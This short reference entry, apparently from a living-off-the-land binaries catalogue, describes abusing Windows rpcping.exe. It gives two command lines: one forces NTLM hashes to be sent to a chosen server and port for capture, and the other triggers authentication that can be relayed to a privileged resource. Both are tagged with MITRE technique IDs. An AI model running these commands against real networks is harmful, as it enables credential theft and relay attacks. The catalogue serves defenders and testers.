Rpcping.exe

Used to verify rpc connection

Credentials

Capture credentials on a non-standard port

rpcping -s 127.0.0.1 -e 1234 -a privacy -u NTLM

Send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process. — MITRE: T1003 — Privileges: User

Relay a NTLM authentication over RPC (ncacn_ip_tcp) on a custom port

rpcping /s 10.0.0.35 /e 9997 /a connect /u NTLM

Trigger an authenticated RPC call to the target server (/s) that could be relayed to a privileged resource (Sign not Set). — MITRE: T1187 — Privileges: User